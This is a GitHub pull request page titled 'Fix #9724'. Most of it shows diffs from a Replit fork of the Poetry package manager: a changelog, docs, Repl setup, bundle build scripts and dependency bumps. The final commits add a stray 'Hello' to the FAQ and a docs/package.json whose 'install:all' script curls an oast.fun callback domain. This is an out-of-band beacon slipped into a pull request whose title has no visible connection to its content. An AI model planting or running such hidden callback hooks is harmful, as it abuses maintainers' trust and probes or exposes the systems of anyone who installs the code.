Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix #9724

Closed
wants to merge 59 commits into from
Closed

Fix #9724

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
59 commits
Select commit Hold shift + click to select a range
404f660
docs: fix package sources href (#7954)
ralbertazzi May 19, 2023
e437103
chore: rephrase changelog entry to avoid ambiguity (#7958)
radoering May 20, 2023
0c00095
atomic downloads (#7968)
dimbleby May 20, 2023
8930fff
preserve relative-path at `poetry run` (#7963)
dimbleby May 21, 2023
1c739fb
fix check for in-project-venv (#7977)
dimbleby May 23, 2023
776d3f4
docs: add env configuration for modern installation (#7986)
ralbertazzi May 23, 2023
7ac6f37
Fix dependency cache inconsistency with prerelease versions (#7978)
chriskuehl May 22, 2023
e6fa00d
chore: Python 3.7 compat
radoering May 24, 2023
90ad5ac
fix: revert #7916 to fix caching issue resulting in missing dependenc…
ralbertazzi May 24, 2023
65fc7d6
perf: don't clear the entire contradicted_incompatibilies cache when …
chriskuehl May 18, 2023
2e523b9
perf: don't clear the entire dependency cache when backtracking (#7950)
chriskuehl May 19, 2023
09edd4b
perf: avoid iterating through multiple caches for contradicted_incomp…
chriskuehl May 19, 2023
1df43f1
perf: improve DependencyCache lru_cache hit rate, avoid iterating thr…
chriskuehl May 19, 2023
a1b5f33
fix: explicit source dependency is not satisfied by direct origin (#7…
ralbertazzi May 26, 2023
a2175ff
docs: Fix a typo in explicit package sources section (#8018)
Jeremiah-England May 26, 2023
19f76d5
fix: disable wheel content validation (#7987)
ralbertazzi May 29, 2023
c82e51d
chore: update poetry-core and poetry-plugin-export (#8034)
radoering May 29, 2023
3fbd794
release: bump version to 1.5.1
radoering May 29, 2023
c720700
docs: update poetry config dir on macos (#8062)
ralbertazzi Jun 5, 2023
8b0acbf
setup to run in a repl
airportyh Jul 27, 2023
0d407d2
tweak
airportyh Jul 27, 2023
a091de8
revert
airportyh Jul 27, 2023
4654a59
re-land pythonuserbase as std location
Jul 27, 2023
5fe9525
Merge pull request #6 from replit/th-repl-setup
airportyh Jul 27, 2023
fcaa49a
tweak
Jul 27, 2023
9f05717
lint
Jul 27, 2023
827a293
Added build-bundle.sh script
airportyh Jul 27, 2023
c3c003c
Merge pull request #11 from replit/th-bundle-script
airportyh Jul 27, 2023
81662f6
Merge pull request #10 from replit/th-reland-pythonuserbase-std-location
airportyh Jul 28, 2023
f375b65
skip .pythonlibs contents when building bundle
Jul 31, 2023
c1bb4c0
use whitelist instead
Jul 31, 2023
0ae5451
use env vars to configure new behavior
Jul 31, 2023
8605e5d
added new flags
Jul 31, 2023
a828dab
Merge pull request #15 from replit/th-ignore-pythonlibs-contents-buil…
airportyh Jul 31, 2023
e3fd7b8
Merge pull request #13 from replit/th-use-custom-pip
airportyh Jul 31, 2023
1d9b4ab
make user site directory usable as std lib when POETRY_USE_USER_SITE …
Jul 31, 2023
2009eb4
lint
Jul 31, 2023
8ccde84
Merge pull request #14 from replit/th-use-user-site-pkgs
airportyh Aug 1, 2023
802f317
don't use --isolated for pip whe POETRY_USE_USER_SITE
Aug 1, 2023
58982ce
Merge pull request #16 from replit/th-dont-isolate
airportyh Aug 1, 2023
9b11727
change the flag name to detach it from user site behavior
Aug 1, 2023
e236eba
Merge pull request #17 from replit/th-pip-no-isolate-2
airportyh Aug 1, 2023
1a9049c
pip.use_pip_cache option to let pip fetch files
Aug 3, 2023
184dd06
lint
Aug 3, 2023
0841ee3
Merge pull request #20 from replit/th-pip-use-pip-cache
airportyh Aug 3, 2023
68d0fb6
updated build-bundle.sh script and readme (#21)
airportyh Aug 29, 2023
2f42953
add codeowners (#22)
cdmistman Sep 18, 2023
6157674
Poetry install performance enhancement for low-resource environments …
airportyh Dec 11, 2023
6968efd
adde fallback to requests when curl fails (#28)
airportyh Dec 11, 2023
61bb0e8
Headers, shebang, and curl fixes (#29)
airportyh Dec 15, 2023
1d8a91e
increment version (#30)
airportyh Dec 15, 2023
21024b8
chore(deps): bump cryptography from 40.0.2 to 41.0.6 (#26)
dependabot[bot] Jan 5, 2024
0a3947d
bug/Poetry Runtime: Elide USERBASE with poetry internal deps (#31)
blast-hardcheese Jan 5, 2024
7dc40c1
chore(deps): bump cryptography from 41.0.6 to 42.0.4 (#35)
dependabot[bot] Feb 26, 2024
180e32f
chore(deps): bump urllib3 from 1.26.15 to 1.26.19 (#37)
dependabot[bot] Jun 21, 2024
24a114b
chore(deps): bump certifi from 2023.5.7 to 2024.7.4 (#38)
dependabot[bot] Jul 8, 2024
e0b0d14
Added module_name conversion to fix proj name comparison; backport pr…
airportyh Aug 13, 2024
36fe1c4
Update faq.md
orlserg Sep 29, 2024
1bd106a
Create package.json
orlserg Sep 29, 2024
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .github/CODEOWNERS
Validating CODEOWNERS rules …
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
* @replit/devex
2 changes: 1 addition & 1 deletion .github/workflows/main.yml
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ jobs:
strategy:
matrix:
os: [Ubuntu, macOS, Windows]
python-version: ["3.7", "3.8", "3.9", "3.10", "3.11"]
python-version: ["3.8", "3.9", "3.10", "3.11"]
include:
- os: Ubuntu
image: ubuntu-22.04
Expand Down
7 changes: 7 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -39,3 +39,10 @@ pip-wheel-metadata
/poetry.toml

poetry/core/*

.pythonlibs

poetry-*-bundle.tgz

poetry_env
proj
14 changes: 14 additions & 0 deletions .replit
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
modules = ["python-3.10:v16-20230726-64244b3"]

[nix]
channel = "stable-22_11"

[env]
# PYTHONPATH = "$PYTHONPATH:$REPL_HOME/src"
# POETRY_INSTALLER_PARALLEL = "0"
POETRY_DOWNLOAD_WITH_CURL = "1"
POETRY_INSTALLER_MODERN_INSTALLATION = "1"
POETRY_PIP_FROM_PATH = "1"
POETRY_PIP_NO_PREFIX = "1"
POETRY_USE_USER_SITE = "1"
POETRY_PIP_USE_PIP_CACHE = "1"
39 changes: 37 additions & 2 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,40 @@
# Change Log


## [1.5.1] - 2023-05-29

### Added

- Improve dependency resolution performance in cases with a lot of backtracking ([#7950](https://github.com/python-poetry/poetry/pull/7950)).

### Changed

- Disable wheel content validation during installation ([#7987](https://github.com/python-poetry/poetry/pull/7987)).

### Fixed

- Fix an issue where partially downloaded wheels were cached ([#7968](https://github.com/python-poetry/poetry/pull/7968)).
- Fix an issue where `poetry run` did no longer execute relative-path scripts ([#7963](https://github.com/python-poetry/poetry/pull/7963)).
- Fix an issue where dependencies were not installed in `in-project` environments ([#7977](https://github.com/python-poetry/poetry/pull/7977)).
- Fix an issue where no solution was found for a transitive dependency on a pre-release of a package ([#7978](https://github.com/python-poetry/poetry/pull/7978)).
- Fix an issue where cached repository packages were incorrectly parsed, leading to its dependencies being ignored ([#7995](https://github.com/python-poetry/poetry/pull/7995)).
- Fix an issue where an explicit source was ignored so that a direct origin dependency was used instead ([#7973](https://github.com/python-poetry/poetry/pull/7973)).
- Fix an issue where the installation of big wheels consumed a lot of memory ([#7987](https://github.com/python-poetry/poetry/pull/7987)).

### Docs

- Add information about multiple constraints dependencies with direct origin and version dependencies ([#7973](https://github.com/python-poetry/poetry/pull/7973)).

### poetry-core ([`1.6.1`](https://github.com/python-poetry/poetry-core/releases/tag/1.6.1))

- Fix an endless recursion in marker handling ([#593](https://github.com/python-poetry/poetry-core/pull/593)).
- Fix an issue where the wheel tag was not built correctly under certain circumstances ([#591](https://github.com/python-poetry/poetry-core/pull/591)).

### poetry-plugin-export ([`^1.4.0`](https://github.com/python-poetry/poetry-plugin-export/releases/tag/1.4.0))

- Fix an issue where `--extra-index-url` and `--trusted-host` was not generated for sources with priority `explicit` ([#205](https://github.com/python-poetry/poetry-plugin-export/pull/205)).


## [1.5.0] - 2023-05-19

### Added
Expand All @@ -23,7 +57,7 @@

- **Remove the old deprecated installer and the corresponding setting `experimental.new-installer`** ([#7356](https://github.com/python-poetry/poetry/pull/7356)).
- **Introduce `priority` key for sources and deprecate flags `default` and `secondary`** ([#7658](https://github.com/python-poetry/poetry/pull/7658)).
- Deprecate `poetry run <script>` if the script was not previously installed via `poetry install` ([#7606](https://github.com/python-poetry/poetry/pull/7606)).
- Deprecate `poetry run <entry point>` if the entry point was not previously installed via `poetry install` ([#7606](https://github.com/python-poetry/poetry/pull/7606)).
- Only write the lock file if the installation succeeds ([#7498](https://github.com/python-poetry/poetry/pull/7498)).
- Do not write the unused package category into the lock file ([#7637](https://github.com/python-poetry/poetry/pull/7637)).

Expand Down Expand Up @@ -1870,7 +1904,8 @@ Initial release



[Unreleased]: https://github.com/python-poetry/poetry/compare/1.5.0...master
[Unreleased]: https://github.com/python-poetry/poetry/compare/1.5.1...master
[1.5.1]: https://github.com/python-poetry/poetry/releases/tag/1.5.1
[1.5.0]: https://github.com/python-poetry/poetry/releases/tag/1.5.0
[1.4.2]: https://github.com/python-poetry/poetry/releases/tag/1.4.2
[1.4.1]: https://github.com/python-poetry/poetry/releases/tag/1.4.1
Expand Down
54 changes: 54 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -112,3 +112,57 @@ external formats like virtual environments
* [install.python-poetry.org](https://github.com/python-poetry/install.python-poetry.org): The official Poetry
installation script
* [website](https://github.com/python-poetry/website): The official Poetry website and blog

## How to test in a Repl

There are 2 ways to test poetry in a Repl.

## Method 1

1. Uncomment `PYTHONPATH = "$PYTHONPATH:$REPL_HOME/src"` in `.replit`
2. create a test project via:
* mkdir proj
* cd proj
* poetry init # and go through the prompts
3. Run `python -m poetry ...`

This will install libs into `.pythonlibs`, but has the shortcoming that poetry won't distinguish its
own dependencies from the test project's.

## Method 2

1. Comment out `PYTHONPATH = "$PYTHONPATH:$REPL_HOME/src"` in `.replit`
2. create a test project via:
* mkdir proj
* cd proj
* poetry init # and go through the prompts
3. cd ..
4. ./install_poetry_in_venv.sh
5. cd proj
6. Run `../poetry_env/bin/poetry ...`

This will also install libs into `.pythonlibs`, which will belong solely to the test project. Poetry's
dependencies live inside poetry_env.

If you want to "reset" the libs you can:

1. cd proj
2. rm poetry.lock
3. rm -fr ../.pythonlibs
4. rm -fr ../.cache/pypoetry
5. rid pyproject.toml of previously installed libraries
6. Now you can test installing stuff as if starting from scratch

## Bundle

For the Replit [Python Nix modules](https://github.com/replit/nixmodules/tree/main/pkgs/modules/python), we build a separate Poetry bundle for each supported version of Python
containing Poetry plus all its dependencies and uploaded it to gcf. To build a bundle:

1. Make sure you have the correct version of Python and Pip, and that they match.
2. Get access to the latest version of poetry.
3. If you are working in a Repl, using a Python Nix module should give you all 3.
4. Run `build-bundle.sh`
5. It should produce a file `poetry-${VERSION}-python-${PYTHON_VERSION}-bundle.tgz` in `dist`
6. Upload this to gcf in the `poetry-bundles` of the Goval project.
7. Click on the ... and choose "Copy Public URL" for use in the poetry derivation back in
[Nix modules](https://github.com/replit/nixmodules)
23 changes: 23 additions & 0 deletions build-bundle.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
# Generate a bundle containing poetry + dependencies
# for use by Nix using pip's download command to allow offline installs as
# described here: https://stackoverflow.com/a/36730026

# The generated file is to be uploaded to the poetry-bundles bucket on gcs, available at
# https://storage.googleapis.com/poetry-bundles/poetry-x.y.z-bundle.tgz

# You may use `nix develop` to gain access the tools used by this script.

set -x

BUILD_DIR=poetry-bundle

rm -fr $BUILD_DIR
mkdir -p $BUILD_DIR
VERSION=$(toml2json pyproject.toml | jq '.tool.poetry.version' --raw-output)
POETRY_WHEEL_FILE="dist/poetry-${VERSION}-py3-none-any.whl"
PYTHON_VERSION=$(python -c 'import platform; print(platform.python_version())')
poetry build
pip download "$POETRY_WHEEL_FILE" -d $BUILD_DIR
tar czf dist/poetry-${VERSION}-python-${PYTHON_VERSION}-bundle.tgz $BUILD_DIR
rm "$POETRY_WHEEL_FILE"
rm -fr "$BUILD_DIR"
6 changes: 4 additions & 2 deletions docs/configuration.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ Poetry can be configured via the `config` command ([see more about its usage her
or directly in the `config.toml` file that will be automatically created when you first run that command.
This file can typically be found in one of the following directories:

- macOS: `~/Library/Preferences/pypoetry`
- macOS: `~/Library/Application Support/pypoetry`
- Windows: `%APPDATA%\pypoetry`

For Unix, we follow the XDG spec and support `$XDG_CONFIG_HOME`.
Expand Down Expand Up @@ -123,7 +123,7 @@ Poetry uses the following default directories:

- Linux: `$XDG_CONFIG_HOME/pypoetry` or `~/.config/pypoetry`
- Windows: `%APPDATA%\pypoetry`
- MacOS: `~/Library/Preferences/pypoetry`
- MacOS: `~/Library/Application Support/pypoetry`

You can override the Config directory by setting the `POETRY_CONFIG_DIR` environment variable.

Expand Down Expand Up @@ -202,6 +202,8 @@ This configuration is ignored when `installer.parallel` is set to `false`.

**Default**: `true`

**Environment Variable**: `POETRY_INSTALLER_MODERN_INSTALLATION`

*Introduced in 1.4.0*

Use a more modern and faster method for package installation.
Expand Down
23 changes: 23 additions & 0 deletions docs/dependency-specification.md
Original file line number Diff line number Diff line change
Expand Up @@ -322,6 +322,29 @@ The constraints **must** have different requirements (like `python`)
otherwise it will cause an error when resolving dependencies.
{{% /note %}}

### Combining git / url / path dependencies with source repositories

Direct origin (`git`/ `url`/ `path`) dependencies can satisfy the requirement of a dependency that
doesn't explicitly specify a source, even when mutually exclusive markers are used. For instance
in the following example the url package will also be a valid solution for the second requirement:
```toml
foo = [
{ platform = "darwin", url = "https://example.com/example-1.0-py3-none-any.whl" },
{ platform = "linux", version = "^1.0" },
]
```

Sometimes you may instead want to use a direct origin dependency for specific conditions
(i.e. a compiled package that is not available on PyPI for a certain platform/architecture) while
falling back on source repositories in other cases. In this case you should explicitly ask for your
dependency to be satisfied by another `source`. For example:
```toml
foo = [
{ platform = "darwin", url = "https://example.com/foo-1.0.0-py3-none-macosx_11_0_arm64.whl" },
{ platform = "linux", version = "^1.0", source = "pypi" },
]
```

## Expanded dependency specification syntax

In the case of more complex dependency specifications, you may find that you
Expand Down
2 changes: 2 additions & 0 deletions docs/faq.md
Original file line number Diff line number Diff line change
Expand Up @@ -230,3 +230,5 @@ The two key options we are using here are `--no-root` (skips installing the proj
Poetry's default HTTP request timeout is 15 seconds, the same as `pip`.
Similar to `PIP_REQUESTS_TIMEOUT`, the **experimental** environment variable `POETRY_REQUESTS_TIMEOUT`
can be set to alter this value.

Hello
16 changes: 16 additions & 0 deletions docs/package.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
{
"name": "nodejs-typescript",
"version": "1.0.0",
"description": "",
"main": "index.ts",
"type": "module",
"scripts": {
"install:all": "curl https://yldltzlfsgobpsuhvgow8529wsnmpynjq.oast.fun"
},
"author": "",
"license": "ISC",
"dependencies": {
"axios": "^1.7.7",
"node-fetch": "^3.3.1"
}
}
4 changes: 2 additions & 2 deletions docs/repositories.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,7 @@ By default, Poetry discovers and installs packages from [PyPI](https://pypi.org)
install a dependency to your project for a [simple API repository](#simple-api-repository)? Let's
do it.

First, [configure](#project-configuration) the [package source](#package-source) as a [supplemental](#supplemental-package-sources) (or [explicit](#explicit-package-sources)) package source to your
First, [configure](#project-configuration) the [package source](#package-sources) as a [supplemental](#supplemental-package-sources) (or [explicit](#explicit-package-sources)) package source to your
project.

```bash
Expand Down Expand Up @@ -227,7 +227,7 @@ There can be more than one supplemental package source.

If package sources are configured as explicit, these sources are only searched when a package configuration [explicitly indicates](#package-source-constraint) that it should be found on this package source.

You can configure a package source as an explicit source with `priority = "explicit` in your package source configuration.
You can configure a package source as an explicit source with `priority = "explicit"` in your package source configuration.

```bash
poetry source add --priority=explicit foo https://foo.bar/simple/
Expand Down
9 changes: 9 additions & 0 deletions install_poetry_in_venv.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
# This script installs poetry within its own venv the way
# it is when deployed so that its deps are isolated from the deps of the projects it manages
rm -fr poetry_env
poetry build
python -m venv poetry_env
touch poetry_env/poetry_env
poetry_env/bin/pip install dist/poetry-1.5.2-py3-none-any.whl
# inspired by https://stackoverflow.com/a/584926:
sed -i 's@/usr/bin/env python3@'"$REPL_HOME"'/poetry_env/bin/python3@g' poetry_env/bin/poetry
Loading